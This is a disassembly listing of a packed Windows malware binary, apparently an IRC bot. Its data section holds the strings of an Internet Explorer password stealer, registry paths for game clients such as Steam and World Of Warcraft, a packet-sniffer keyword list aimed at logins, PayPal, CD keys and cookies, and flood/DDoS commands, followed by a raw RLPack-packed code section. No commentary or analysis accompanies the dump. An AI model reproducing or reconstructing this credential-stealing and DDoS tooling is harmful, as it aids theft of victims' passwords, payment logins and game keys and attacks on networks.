dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h
dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
dd 2E02h
dword_418854 dd 2Ch ; DATA XREF: sub_4101E6+442o
; sub_4101E6+619o
aB9819c52 db 'b9819c52',0 ; DATA XREF: sub_4101E6+3B7o
align 4
dword_418864 dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h
; DATA XREF: sub_4101E6+3A3o
dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h
dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h
dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h
dd 2037325h, 2Eh
a5e7e8100 db '5e7e8100',0 ; DATA XREF: sub_4101E6+310o
align 4
dword_4188C8 dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh
; DATA XREF: sub_4101E6+2FCo
dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h
dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
dd 2E02h
a220d5cc1 db '220d5cc1',0 ; DATA XREF: sub_4101E6+2CEo
align 4
aWs db '%ws',0 ; DATA XREF: sub_4101E6+1FAo
asc_418918 db '%x',0 ; DATA XREF: sub_4101E6+117o
align 4
unk_41891C db 2Dh ; - ; DATA XREF: sub_4101E6+B0o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aListingInterne db '- Listing internet explorer passwords',0
align 10h
dword_418950 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_4101E6+85o
; sub_4101E6+154o ...
aInternetExplor db 'Internet explorer password stealer',0 ; DATA XREF: sub_41094B+2Ao
align 4
dword_418984 dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h
; DATA XREF: sub_410999+180o
dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah
dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h
dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h
dd 3732502h, 57202E02h, 646C726Fh, 20664F20h, 63726157h
dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h
dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h
dd 2Eh
aSoftwareValveS db 'Software\Valve\Steam',0 ; DATA XREF: sub_410999+EFo
align 4
aSoftwareMicr_0 db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0
; DATA XREF: sub_410999+BFo
align 4
aConquer db '[Conquer]',0 ; DATA XREF: sub_410999+91o
align 4
aWorldOfWarcraf db 'World Of Warcraft',0 ; DATA XREF: sub_410999+77o
align 4
aUnreal3 db 'Unreal3',0 ; DATA XREF: sub_410999+59o
aListingInteres db 'Listing interesting processes',0 ; DATA XREF: sub_410B3B+21o
align 4
off_418AB4 dd offset aUser_1 ; DATA XREF: sub_410BC3+2Do
; "user "
dd offset aUnknown_1 ; "unknown "
dd offset aPass_2 ; "pass "
dd offset aMailpass ; "MailPass "
dd offset aOper ; "oper "
dd 0
dd offset aIdentify ; "identify "
dd 0
dd offset aAuth_0 ; " :auth "
dd 0
dd offset aPasswd_0 ; "passwd="
dd 0
dd offset aUsername_0 ; "username="
dd 0
dd offset aPassword_0 ; "password="
dd 0
dd offset aLogin_1 ; "login="
dd 0
dd offset aPass_1 ; "pass="
dd 0
dd offset aPw ; "pw="
align 10h
off_418B10 dd offset aLogin_0 ; DATA XREF: sub_410BC3+45o
; "login "
align 8
dd offset aSxt ; "sxt "
align 10h
dd offset aAuth ; "auth "
align 8
dd offset aPasswort ; "passwort "
align 10h
dd offset aCdkey ; "cdkey"
align 8
dd offset aCdKey_0 ; "cd-key"
align 10h
dd offset aCdKey ; "cd key"
align 8
dd offset aPassword ; "password"
align 10h
dd offset aPaypal_com ; "paypal.com"
align 8
dd offset aPaypal ; "paypal"
align 10h
dd offset aIrcOperator ; "irc operator"
align 8
dd offset aLP ; "l/p"
align 10h
dd offset aSsh1_5 ; "SSH-1.5"
align 8
dd offset aSsh1_99 ; "SSH-1.99"
dd 2 dup(0)
off_418B84 dd offset aSetCookie ; DATA XREF: sub_410BC3+5Do
; "Set-Cookie:"
dd 0
dd offset aSyn ; "syn"
dd 0
dd offset aFlood ; "flood "
dd 0
dd offset aClone ; "clone "
dd 0
dd offset aServU_0 ; "serv-u"
dd 0
dd offset aServU ; "serv u"
dd 0
dd offset aServu ; "servu"
dd 0
dd offset aDdos ; "ddos"
dd 2 dup(0)
off_418BC8 dd offset dword_418C24 ; DATA XREF: sub_410BC3+75o
align 10h
dd offset dword_418C1C
align 8
dd offset dword_418C14
align 10h
dd offset dword_418C0C
align 8
dd offset dword_418C04
align 10h
dd offset dword_418BFC
dd 2 dup(0)
dword_418BFC dd 54495551h, 20h ; DATA XREF: .packed:00418BF0o
dword_418C04 dd 54524150h, 20h ; DATA XREF: .packed:00418BE8o
dword_418C0C dd 4E494F4Ah, 20h ; DATA XREF: .packed:00418BE0o
dword_418C14 dd 49504F54h, 2043h ; DATA XREF: .packed:00418BD8o
dword_418C1C dd 49544F4Eh, 204543h ; DATA XREF: .packed:00418BD0o
dword_418C24 dd 56495250h, 2047534Dh, 0 ; DATA XREF: .packed:off_418BC8o
aDdos db 'ddos',0 ; DATA XREF: .packed:00418BBCo
align 4
aServu db 'servu',0 ; DATA XREF: .packed:00418BB4o
align 10h
aServU db 'serv u',0 ; DATA XREF: .packed:00418BACo
align 4
aServU_0 db 'serv-u',0 ; DATA XREF: .packed:00418BA4o
align 10h
aClone db 'clone ',0 ; DATA XREF: .packed:00418B9Co
align 4
aFlood db 'flood ',0 ; DATA XREF: .packed:00418B94o
align 10h
aSyn db 'syn',0 ; DATA XREF: .packed:00418B8Co
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: .packed:off_418B84o
aSsh1_99 db 'SSH-1.99',0 ; DATA XREF: .packed:00418B78o
align 4
aSsh1_5 db 'SSH-1.5',0 ; DATA XREF: .packed:00418B70o
aLP db 'l/p',0 ; DATA XREF: .packed:00418B68o
aIrcOperator db 'irc operator',0 ; DATA XREF: .packed:00418B60o
align 4
aPaypal db 'paypal',0 ; DATA XREF: .packed:00418B58o
align 10h
aPaypal_com db 'paypal.com',0 ; DATA XREF: .packed:00418B50o
align 4
aCdKey db 'cd key',0 ; DATA XREF: .packed:00418B40o
align 4
aCdKey_0 db 'cd-key',0 ; DATA XREF: .packed:00418B38o
align 4
aCdkey db 'cdkey',0 ; DATA XREF: .packed:00418B30o
align 4
aPasswort db 'passwort ',0 ; DATA XREF: .packed:00418B28o
align 10h
aAuth db 'auth ',0 ; DATA XREF: .packed:00418B20o
align 4
aSxt db 'sxt ',0 ; DATA XREF: .packed:00418B18o
align 10h
aLogin_0 db 'login ',0 ; DATA XREF: .packed:off_418B10o
align 4
aPw db 'pw=',0 ; DATA XREF: .packed:00418B04o
aPass_1 db 'pass=',0 ; DATA XREF: .packed:00418AFCo
align 4
aLogin_1 db 'login=',0 ; DATA XREF: .packed:00418AF4o
align 4
aPassword_0 db 'password=',0 ; DATA XREF: .packed:00418AECo
align 4
aUsername_0 db 'username=',0 ; DATA XREF: .packed:00418AE4o
align 4
aPasswd_0 db 'passwd=',0 ; DATA XREF: .packed:00418ADCo
aAuth_0 db ' :auth ',0 ; DATA XREF: .packed:00418AD4o
aIdentify db 'identify ',0 ; DATA XREF: .packed:00418ACCo
align 10h
aOper db 'oper ',0 ; DATA XREF: .packed:00418AC4o
align 4
aMailpass db 'MailPass ',0 ; DATA XREF: .packed:00418AC0o
align 4
aPass_2 db 'pass ',0 ; DATA XREF: .packed:00418ABCo
align 4
aUnknown_1 db 'unknown ',0 ; DATA XREF: .packed:00418AB8o
align 4
aUser_1 db 'user ',0 ; DATA XREF: .packed:off_418AB4o
align 10h
dword_418D60 dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h
; DATA XREF: sub_410C55+379o
dd 3206D6Fh, 25023430h, 3A020373h, 2343003h, 2037525h
dd 73253E2Dh, 2075253Ah, 0
unk_418D94 db 2Dh ; - ; DATA XREF: sub_410C55+FBo
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
db 2Dh, 20h, 4Ch
db 65h ; e
db 76h, 65h, 6Ch
db 20h
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aPacketSnifferR db ' packet sniffer running',0
align 4
dword_418DC8 dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h
; DATA XREF: sub_4110B4+6Fo
dd 6E732074h, 65666669h, 72h, 418DECh, 97F7A1AEh, 87CA88FBh
dd 0E18DA597h, 2 dup(0)
dword_418E00 dd 0CD9F82A3h ; DATA XREF: sub_407A76+53Er
; sub_4111E8+54r ...
dword_418E04 dd 0D4EE5D68h ; DATA XREF: sub_4111E8+4Dr
dword_418E08 dd 1FC7575Bh ; DATA XREF: sub_4111E8+42r
dword_418E0C dd 139AB344h ; DATA XREF: sub_4111E8+3Cr
dd 7265h, 0
off_418E18 dd offset dword_4190E0 ; DATA XREF: sub_40A236+108r
; sub_40A236+110o ...
align 10h
off_418E20 dd offset dword_417D18 ; DATA XREF: sub_407A76+4EEr
; sub_4091AD+51r ...
off_418E24 dd offset dword_417D0C ; DATA XREF: sub_4091AD+85r
off_418E28 dd offset dword_417D04 ; DATA XREF: sub_4091AD+96r
dd offset dword_417CF0
dd offset dword_417CE4
dd offset dword_417D04
dd 3 dup(0)
dword_418E44 dd 0C4A7F1E1h, 81D9EAh, 0 ; DATA XREF: sub_409277+126o
; sub_409918+27Bo
dword_418E50 dd 656E2323h, 23736472h, 23h, 1Dh dup(0) ; DATA XREF: sub_40287C+109o
; sub_406BBC+59o ...
byte_418ED0 db 0FDh ; DATA XREF: sub_409277+23Er
; sub_409277+24Do
db 0EDh, 0EBh, 8Eh
dd 99CC83A5h, 0F59BB8DCh, 83A7h, 1Ch dup(0)
byte_418F50 db 0 ; DATA XREF: sub_409277+261r
; sub_409277+26Fo
align 4
dd 1Fh dup(0)
dword_418FD0 dd 3430032Eh, 2036202h, 0 ; DATA XREF: sub_407A76:loc_408CDDo
; sub_409918+206o
dword_418FDC dd 98FAABA9h, 0D98CD5B9h, 93A6DDh, 3Eh dup(0) ; DATA XREF: sub_404D00+33o
; sub_404DAD+32o
dword_4190E0 dd 0BBB2EFF4h, 93CC83BBh, 0E999E4CAh, 8BC58EF6h, 0ABB8h
; DATA XREF: .packed:off_418E18o
dd 0
dword_4190F8 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: .packed:0041149Bo
aEipHasLeftTheE db '- eip has left the endless loop for some reason...',0
align 4
aEntry db 'entry',0 ; DATA XREF: .packed:00411474o
align 10h
aLoop db 'loop',0 ; DATA XREF: sub_4111E8:loc_411440o
align 4
aPing08x db 'PING :%08X',0 ; DATA XREF: sub_4111E8+1FDo
align 4
a08xX08x3x08x08 db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: sub_4111E8+5Ao
align 10h
dword_419170 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_4117FE+15o
off_419180 dd offset off_4122CC ; DATA XREF: .packed:off_4122D0o
; .packed:0041230Co ...
align 8
a_?av_com_error db '.?AV_com_error@@',0
align 10h
off_4191A0 dd offset off_4122CC ; DATA XREF: .packed:off_412318o
; .packed:00412354o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dword_4191B8 dd 0 ; DATA XREF: sub_401534:loc_401548r
; sub_401621+143w
dword_4191BC dd 0 ; DATA XREF: sub_401534:loc_401555r
; sub_401621+14Bw ...
dword_4191C0 dd 0 ; DATA XREF: sub_401534:loc_401562r
; sub_401621+ACo ...
dword_4191C4 dd 0 ; DATA XREF: sub_401534r
; sub_401621+13Bw ...
dd 0
dword_4191CC dd 0 ; DATA XREF: sub_401571+35r
; sub_401571+50r ...
byte_4191D0 db 0 ; DATA XREF: sub_401621+10Bo
; sub_402230+3Br ...
align 8
dword_4191D8 dd 0 ; DATA XREF: sub_40287C+1Dr
; sub_40392A:loc_40393Cr ...
dword_4191DC dd 0 ; DATA XREF: sub_40287C+Eo
dword_4191E0 dd 0 ; DATA XREF: sub_402D7B+21w
; sub_4071D2+Fr
align 8
dword_4191E8 dd 0 ; DATA XREF: sub_402D7B+42w
dword_4191EC dd 0 ; DATA XREF: sub_402D7B+4Fw
dword_4191F0 dd 0 ; DATA XREF: sub_402D7B+5Cw
dword_4191F4 dd 0 ; DATA XREF: sub_402D7B+69w
dword_4191F8 dd 0 ; DATA XREF: sub_402D7B+76w
dword_4191FC dd 0 ; DATA XREF: sub_402D7B+83w
dword_419200 dd 0 ; DATA XREF: sub_402D7B+90w
dword_419204 dd 0 ; DATA XREF: sub_402D7B+9Dw
dword_419208 dd 0 ; DATA XREF: sub_402D7B+A4w
dword_41920C dd 0 ; DATA XREF: sub_402D7B+C4w
; sub_40CEBE+12r ...
dword_419210 dd 0 ; DATA XREF: sub_402D7B+D1w
dword_419214 dd 0 ; DATA XREF: sub_402D7B+DEw
; sub_40CEBE+1Er ...
dword_419218 dd 0 ; DATA XREF: sub_402D7B+E5w
dword_41921C dd 0 ; DATA XREF: sub_402D7B+17Aw
; sub_40656A+D3r
dword_419220 dd 0 ; DATA XREF: sub_402D7B+162w
; sub_4101E6+41r ...
dword_419224 dd 0 ; DATA XREF: sub_402D7B+101w
; sub_402D7B+115r ...
dword_419228 dd 0 ; DATA XREF: sub_401B81+9Ar
; sub_402D7B+10Ew ...
dword_41922C dd 0 ; DATA XREF: sub_402D7B+11Cw
; sub_402D7B+145w ...
dd 101h dup(0)
dword_419634 dd 0 ; DATA XREF: sub_403338r
; sub_403338+1Bo
dword_419638 dd 0 ; DATA XREF: sub_403338+Fo
; sub_403338:loc_403360r
align 10h
dword_419640 dd 0 ; DATA XREF: sub_4045B7+40w
; sub_4045B7+63r ...
dword_419644 dd 0 ; DATA XREF: sub_4045B7+4Dw
; sub_4045B7+6Cr ...
dword_419648 dd 0 ; DATA XREF: sub_4045B7+5Bw
; sub_404639+150r
dword_41964C dd 0 ; DATA XREF: sub_4045B7+33w
; sub_4045B7+54r ...
dword_419650 dd 7 dup(0) ; DATA XREF: sub_4045B7+1o
; sub_404639+Co ...
byte_41966C db 0 ; DATA XREF: sub_4045B7+79w
; sub_404639+16r
align 10h
dword_419670 dd 0 ; DATA XREF: sub_406A40:loc_406AB0w
; sub_406B29:loc_406B90r
align 8
dword_419678 dd 6 dup(0) ; DATA XREF: sub_406B98+16o
; sub_406D58+7o ...
dword_419690 dd 0 ; DATA XREF: sub_406B98w
; sub_406D58+11r ...
align 8
dword_419698 dd 0 ; DATA XREF: sub_406B98+11w
; sub_406D58:loc_406D83r ...
dword_41969C dd 0 ; DATA XREF: sub_407237+6r
; sub_4072FC+60w ...
dword_4196A0 dd 0 ; DATA XREF: sub_4072FC+42w
; sub_4072FC+65r ...
dword_4196A4 dd 0 ; DATA XREF: sub_407237+A9r
; sub_4072FC+7Fw ...
dword_4196A8 dd 0 ; DATA XREF: sub_407237+80r
; sub_4072FC+72w ...
align 10h
byte_4196B0 db 0 ; DATA XREF: sub_4072FC+2Dr
; sub_4072FC+84w
align 4
dd 101h dup(0)
byte_419AB8 db 0 ; DATA XREF: sub_4091AD+Bo
; sub_409277+27r ...
align 4
dd 5Fh dup(0)
dword_419C38 dd 40h dup(0) ; DATA XREF: sub_4091AD+15o
; sub_4091AD+7Bo ...
dword_419D38 dd 3 dup(0) ; DATA XREF: sub_4091AD:loc_4091DDo
; sub_4091AD+8Bo ...
dword_419D44 dd 0 ; DATA XREF: sub_4091A7r
; sub_409522+15r ...
dd 0
dword_419D4C dd 0 ; DATA XREF: sub_40A236+47w
byte_419D50 db 0 ; DATA XREF: sub_40A42C+6o
; sub_40A42C+15w ...
align 4
dd 40h dup(0)
byte_419E54 db 0 ; DATA XREF: sub_40A606+22o
; sub_40A606+2Fo ...
align 4
dd 4 dup(0)
dword_419E68 dd 5 dup(0) ; DATA XREF: sub_40A67C+24o
; sub_40A67C+31o ...
dword_419E7C dd 0 ; DATA XREF: sub_40B31E+24o
; sub_40B380+5w ...
dword_419E80 dd 0 ; DATA XREF: sub_40B31E+30o
; sub_40B380+Fw ...
dword_419E84 dd 0 ; DATA XREF: sub_40B31E+3Co
; sub_40B380+19w ...
dword_419E88 dd 0 ; DATA XREF: sub_40B31E+48o
; sub_40B380+23w ...
align 10h
byte_419E90 db 0 ; DATA XREF: sub_40B55F+24o
; sub_40B55F+31o ...
align 4
dd 5 dup(0)
dword_419EA8 dd 2 dup(0) ; DATA XREF: sub_40D6E0+448o
dword_419EB0 dd 0 ; DATA XREF: sub_40DE9A+308o
dword_419EB4 dd 2 dup(0) ; DATA XREF: sub_40DE9A+31Ao
dword_419EBC dd 0 ; DATA XREF: sub_40E523+Er
; sub_40E523+1Fw
dword_419EC0 dd 0 ; DATA XREF: sub_40E523:loc_40E5A8w
; sub_40E523:loc_40E5AEr
dword_419EC4 dd 2 dup(0) ; DATA XREF: sub_40E8DBo
; sub_40E951+78o
dword_419ECC dd 41h dup(0) ; DATA XREF: sub_4050D1+12Do
; sub_4052DF:loc_405383o ...
dword_419FD0 dd 0 ; DATA XREF: sub_407A76+530r
; sub_4111E8+FBw
dword_419FD4 dd 0 ; DATA XREF: sub_4111E8+105w
dword_419FD8 dd 0 ; DATA XREF: sub_4111E8+10Fw
dword_419FDC dd 0 ; DATA XREF: sub_4111E8+119w
dword_419FE0 dd 42h dup(0) ; DATA XREF: sub_407A76+779o
; sub_407A76+78Do ...
dword_41A0E8 dd 40h dup(0) ; DATA XREF: sub_407A76+A1Fo
; sub_409277+26Ao ...
byte_41A1E8 db 0 ; DATA XREF: sub_409277+E2r
; sub_409277+EBo ...
align 4
dd 1Fh dup(0)
byte_41A268 db 0 ; DATA XREF: sub_402EFD+E4r
; sub_402EFD+F0o ...
align 4
dd 1Fh dup(0)
dword_41A2E8 dd 40h dup(0) ; DATA XREF: sub_4032D2+34o
; sub_403EA9+50Co ...
byte_41A3E8 db 0 ; DATA XREF: sub_407A76+1125o
; sub_409277+7Fr ...
align 2000h
_packed ends
; Section 2. (virtual address 0001C000)
; Virtual size : 00012F41 ( 77633.)
; Section size in file : 00012F41 ( 77633.)
; Offset to raw data for section: 0001C000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_RLPack segment para public 'CODE' use32
assume cs:_RLPack
;org 41C000h
assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
dd 0EC8B1C55h, 2608E81h, 3353011Ch, 0C01D39DBh, 89E04130h
dd 0FF45D06h, 0E022E984h, 0FB85056h, 3D8B0C57h, 452D2008h
dd 4BEE808h, 30FF0701h, 50A8A38Dh, 19447DE3h, 0A5619D09h
dd 0CC48328h, 0CF8189Fh, 5325036Ah, 7539FFEEh, 6C15B808h
dd 0C7FC1C67h, 7050F098h, 0FFFEA485h, 310EBFE3h, 53EC09E4h
dd 0FDA02188h, 7F75890Fh, 0FEFC08F3h, 1FF87D5Ch, 81C085D7h
dd 0E47D835Fh, 9430F101h, 99300C1Eh, 0BA88FC12h, 3E6C496Ch
dd 36175274h, 362F5028h, 67BB0415h, 4536037Fh, 8F0CC9F4h
dd 0F0686C64h, 3998EB2Ah, 0A08B2844h, 54C083C9h, 0C39CF04h
dd 2E850F18h, 5E605FD3h, 0C95BF426h, 880A91C3h, 569E0104h
dd 5712C3A8h, 3268068h, 6DB05568h, 91921242h, 7617B80Fh
dd 80184D68h, 0BBE7C1E8h, 5615C102h, 0F9F88B53h, 0AC1DA0B3h
dd 0C7031002h, 88BF6B75h, 0FC188346h, 0A0565725h, 0AC485BC6h
dd 4B18C60Eh, 4DD13603h, 802401D2h, 5CFF067Ch, 34805DCh
dd 18EBF675h, 4AC5848Dh, 0C228502Eh, 574C4827h, 70840F84h
dd 110C5145h, 0A444FA53h, 14BD826Fh, 3D020BAh, 2AC6814h
dd 0FD34126Bh, 7084022h, 0BC72FDEFh, 54E13C13h, 0BD378076h
dd 74033538h, 3D462223h, 2A8B5029h, 0A1F301Bh, 3144689Dh
dd 0B66831DBh, 107A4284h, 1AD10543h, 8B148934h, 3B1782F0h
dd 71FE86F3h, 6313A3B3h, 8EE89008h, 1E399B09h, 8420459h
dd 48F8DE82h, 548E0FE1h, 0CF339FF6h, 20681582h, 44E8B03h
dd 240F9339h, 6303C362h, 0B152FC30h, 91B2410Eh, 0C878943Eh
dd 8B80980Eh, 448D0446h, 0A40C7E07h, 9AEAC622h, 59484806h
dd 70C87315h, 0FF3DB08Bh, 8A290734h, 0F601AE85h, 53C01BD8h
dd 0C811B120h, 3B8C9C73h, 0C8FCF0C3h, 3389654Ch, 0C6AAAFD2h
dd 485DE055h, 9B42CEC7h, 48F07C51h, 0CA2B0A08h, 1F0DF981h
dd 4D898177h, 0BB408BE8h, 51F41ED0h, 61FC2D2h, 2C491224h
dd 93A09056h, 268B91D2h, 8244ED39h, 0C1C93344h, 428A0806h
dd 1B463AABh, 1A1C744Ch, 2006D0BEh, 20588D0Ch, 74D3143Bh
dd 0E03B8407h, 4175D08Ah, 293E1AB2h, 5FEC8506h, 0C701C381h
dd 0FAE41420h, 8410068Ah, 123574D2h, 3A81E7F9h, 0B714E5D0h
dd 0D235BE74h, 1431393Dh, 0EC063AB0h, 6D9AD2EBh, 852B410Ch
dd 3E3B8B39h, 0EB9976C8h, 0E4039109h, 753EC985h, 7CCB5319h
dd 3B0AE8ECh, 0D8080754h, 1787489h, 0FF1FE97Bh, 295C03A6h
dd 683D41BAh, 2E725E8h, 8A20A4C3h, 7380D55Dh, 3442E165h
dd 51C443C7h, 0D75D4ECCh, 861CCF5Ch, 0C82E721h, 0EB5A8814h
dd 486A1938h, 1EA8C900h, 6E83281h, 96C5965h, 580301B2h
dd 0EB237504h, 28124402h, 5D688AACh, 1448C781h, 3B129894h
dd 8C0F1A06h, 0B408B517h, 2504E91Fh, 63235210h, 0A611847Eh
dd 5F2259CEh, 0A99E4474h, 5CF864A1h, 1657759Ah, 30F8109Ch
dd 0C614B88h, 9D6517EBh, 86CC190Ch, 103F3243h, 3F97B5A9h
dd 1C59C81Bh, 0C0335E98h, 0C235EA98h, 9081E404h, 4061247Ch
dd 0CB77A243h, 326269E8h, 6C69352Fh, 0F5FBF89Bh, 48B01F48h
dd 74F60047h, 5C8A535Bh, 57180124h, 0E8045E88h, 892B83DAh
dd 0D3C70546h, 92C98424h, 0CD5709E8h, 8F29DEBEh, 0CF1C2482h
dd 7B29DB86h, 24304820h, 909CB8C4h, 5BDB8432h, 3605753Dh
dd 32521594h, 6A0F7468h, 11C4EFC8h, 2ABE4062h, 18268558h
dd 0A1C37281h, 0FB5191D9h, 222358Bh, 94F88319h, 0D6583003h
dd 91B8A114h, 34BCB20Dh, 5ECBC043h, 5685AD33h, 806620B0h
dd 82AB89BEh, 12099687h, 74048D42h, 99326A3Eh, 741A0C35h
dd 3CE81215h, 52B0CAEh, 623D8BCCh, 1B7327F4h, 0E8D42CB0h
dd 8C1B2152h, 117225FAh, 50FE8C2h, 0A30C4D8Bh, 18A1400h
dd 74740A3Ch, 380D741Bh, 185C6817h, 28FE10DCh, 0CB24EF51h
dd 13C57743h, 0A4681221h, 0CF3D2933h, 27BA44C1h, 0D802E913h
dd 0F8580AFh, 245DDC5Eh, 1756074Ah, 3A70104h, 4C88EE8Dh
dd 0E884FBE0h, 0FD98FE8Fh, 0B023F181h, 11916578h, 33A5212Dh
dd 88824DF6h, 0BF8DC50h, 39B5056h, 0D3EC66BFh, 745943B8h
dd 9513CA80h, 8D016A80h, 1B5BE045h, 29783D8Bh, 0F0185063h
dd 0C1E2AC7h, 717D7CBh, 35E85DBCh, 0D7368275h, 85E12D86h
dd 332457D0h, 0C5F409F8h, 2CCA1722h, 6A88F87Ch, 0C4566A03h
dd 28324D6Bh, 150D9826h, 226AA680h, 104001A4h, 0E87EC3CCh
dd 1920FDF3h, 5F882544h, 1DE59C26h, 0D8AA929Ah, 3C0C961h
dd 0CD0C7AF0h, 0FC55C806h, 0CFDB887Dh, 0A3AA7208h, 0C961ADF9h
dd 0BF94D068h, 0B419A250h, 4366A101h, 0C423B89Bh, 65429184h
dd 8B08F4ECh, 96F8B5ACh, 0D0261C13h, 164C28A3h, 0A9B8F0F8h
dd 0BCE1CC08h, 3E1DAAE2h, 0FFC7E6Ch, 0F047039h, 0BF75088Ch
dd 0BB0CA091h, 92571503h, 12F9415Bh, 64294B9Ah, 0FEFC6F59h
dd 1D9216D4h, 53351492h, 7388EE64h, 390D84A5h, 8D2AC892h
dd 0E4B98E94h, 8C32BC41h, 6C097418h, 93C42839h, 0A6A4BC4h
dd 58EB57D8h, 6360485Fh, 0BC801076h, 20530551h, 40325F21h
dd 8772C63Bh, 7C5A7DF9h, 39F2CF51h, 3352F6DCh, 7D8E1884h
dd 74149043h, 0ED81752h, 0E888FDE4h, 590DCE23h, 0DA90DD35h
dd 0D0308485h, 402CEBBBh, 293BB194h, 680925A4h, 0F96B98C8h
dd 1133CAFCh, 31A86413h, 6F327E40h, 35A26977h, 0FBE0F682h
dd 2555D222h, 49F78A5Fh, 6A512686h, 9A4C0B45h, 798DA559h
dd 4F99B04Dh, 356C2251h, 152AF546h, 0F74B9670h, 46082D1Ah
dd 9C57B8B4h, 385607D2h, 56101998h, 0A901D74h, 8F920C50h
dd 536D0A92h, 68F06C02h, 5E326C2Ch, 0E4241512h, 7B931421h
dd 0B5E8D830h, 8340B9FBh, 6A74F33Bh, 0DF0C7DB9h, 0D87C84F5h
dd 45D4638h, 40961234h, 0B0E31336h, 2042136h, 0B32C3E0Ah
dd 48186843h, 7B48C693h, 44162117h, 23540624h, 27790D10h
dd 60331468h, 0ABD98AA4h, 0D7543D0Ch, 7505C9E2h, 13F4680Fh
dd 4D3531F1h, 0B040447Dh, 208C5DC1h, 8ECB05E8h, 216214D6h
dd 2D08FC18h, 881FC7FBh, 843D2E6Ch, 0D68879Ch, 0D1FC0D4Bh
dd 4C3A5291h, 0C6BD4076h, 0F0121E92h, 45040D75h, 8D4AFC18h
dd 37EB8190h, 62271068h, 914122FFh, 0AF483C4Bh, 632207C5h
dd 600CC6ABh, 0C81C75F4h, 0F1E82EF0h, 9138A144h, 439C4155h
dd 0A5ADE97Ch, 1C668910h, 899DE6FCh, 9C4D8B7Eh, 4B213739h
dd 0C4808014h, 44A27C7Fh, 8B8E6078h, 22581D8Bh, 0E14C28D2h
dd 5D08B856h, 18857CBEh, 5D7D13FAh, 8BD3C423h, 0BFA1F8h
dd 5577FEAAh, 4A75014Ch, 895C4B22h, 0A228892Fh, 81046ADBh
dd 2303E824h, 0A4F0F748h, 5F574837h, 984EC067h, 2B6C1C46h
dd 3E801F72h, 241678A6h, 909710DCh, 9FEBE15Fh, 8A1ACB48h
dd 10708B43h, 84413989h, 0F6E90975h, 482A153Ch, 0C68B1C8Fh
dd 17237B9h, 90F9F799h, 0D903DBE3h, 0DAE8FC5Dh, 362B3933h
dd 13208D51h, 0AB800DD8h, 9C00B590h, 0E8241CDDh, 3A1CA5BEh
dd 449B08C9h, 0A53F66F4h, 900B2B13h, 7B74C434h, 88902022h
dd 17B9F99Eh, 221218A4h, 4CFA5B2Ch, 5CD44952h, 5E5B5F09h
dd 1050DABAh, 60310A4Ah, 0CD1D02CCh, 462F08FDh, 112136F9h
dd 222D4328h, 0AAE9A209h, 740BBA6Bh, 16C6280Dh, 0B825C1Eh
dd 90F37548h, 0B607EB22h, 0CC2E134Dh, 44990408h, 12F8D188h
dd 195C5D59h, 281008C7h, 2CD4CC5Ch, 15756AAAh, 6AC43E7Bh
dd 9CE2025Ch, 114F611h
dd 75141604h, 3A6223F8h, 0EAC69228h, 8224E92h, 523F22FDh
dd 0EC365F65h, 68504EC0h, 1A136E88h, 0E84B20B2h, 0C1DC9812h
dd 0CADBA472h, 0AE1D0A9Ch, 2819EA88h, 5CA584E7h, 0E40A59FEh
dd 0C19BBF74h, 22337868h, 908F2A20h, 1D88B26h, 75CBDE1Ch
dd 0A51B0318h, 601C431Ch, 4951DF14h, 504BE93Eh, 530D9318h
dd 915376E8h, 855C4E0Ch, 7B7BF54Dh, 0A3059965h, 4CE021ACh
dd 5CA10C0Eh, 59140C64h, 4F972879h, 29F4FC80h, 542AC9D0h
dd 6836FDE6h, 48C83746h, 0CB5E4F64h, 0AB10EA60h, 0BE911A52h
dd 36B18A6h, 19016232h, 12FFF81Dh, 0A7671659h, 978B9F58h
dd 313E9808h, 49205484h, 0F4618A78h, 0F78D04F7h, 0D6463425h
dd 48FA415Fh, 0F750A016h, 0B1245Bh, 64296891h, 3157131Bh
dd 7D2010F3h, 0A529C9ECh, 5E2449E5h, 8AB7E598h, 5843481Ch
dd 0B6EB100Ah, 8938F291h, 298432F4h, 1E2478EFh, 0F6FC8B7Eh
dd 0F27A0414h, 674BA28Eh, 0FAC13D05h, 0D512E807h, 138216F6h
dd 0E8100565h, 68F6B984h, 0B4FD420Ch, 86B08068h, 20296F43h
dd 1F0909DAh, 0B393C711h, 0F1E41C89h, 0F0221AB5h, 634FEFC5h
dd 3C221AA4h, 997CA175h, 0D3211C4Ah, 1CF0C92h, 5DA2914Ah
dd 4226610Ch, 0BAF1E58Dh, 0DC2A1010h, 0D3144009h, 0CA184086h
dd 12CE798Bh, 99F640E8h, 0B72691CDh, 0DF9A812Ah, 0AB870A0Ch
dd 101C961Fh, 0F8201F52h, 8698FB40h, 3E400BCCh, 83E48A8Ch
